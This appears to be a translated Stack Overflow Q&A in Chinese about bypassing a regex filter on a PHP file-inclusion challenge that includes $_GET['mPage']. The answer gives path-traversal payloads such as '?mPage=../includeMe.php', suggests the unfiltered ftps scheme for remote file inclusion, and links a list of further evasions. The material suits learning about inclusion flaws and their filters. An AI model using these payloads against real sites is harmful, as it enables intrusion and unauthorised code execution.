我的挑战是包含$_GET['mPage']的php文档。
以下代码:http://example.com/includeMe.php
<?php
phpinfo();
?>moveTo.php regex:
if(preg_match("/(data|http|https|ftp):\/\/([a-zA-Z0-9-_]+)\.([a-zA-Z0-9-_]+)/i", $_GET['mPage'])) {
echo 'no';
}如何绕过包含includeMe.php
试过:
http://example.com/moveTo.php?mPage=http://example.com/incldue.php
发布于 2015-08-06 13:25:31
在假设两个php文档都可以在同一个域下访问的情况下,您可以使用“相对文件访问”并尝试如下所示:
http://example.com/moveTo.php?mPage=includeMe.php
http://example.com/moveTo.php?mPage=../includeMe.php如果文件在同一个文件夹里的话,他为我工作过。根据文件系统中文件的位置,您可能需要使用多个../并更正文件夹名遍历文件系统。
如果"includeMe.php“在另一个域(例如example2.com)下是可访问的,则需要使用Regex中不包含的协议。
正如您在这里看到的:演示所有使用http、https、data、ftp的尝试都被阻止。您可以使用ftps,这在RFI中也很常见。
包含进一步可能逃避的列表:https://websec.wordpress.com/2010/02/22/exploiting-php-file-inclusion-overview/
https://stackoverflow.com/questions/31841924
复制相似问题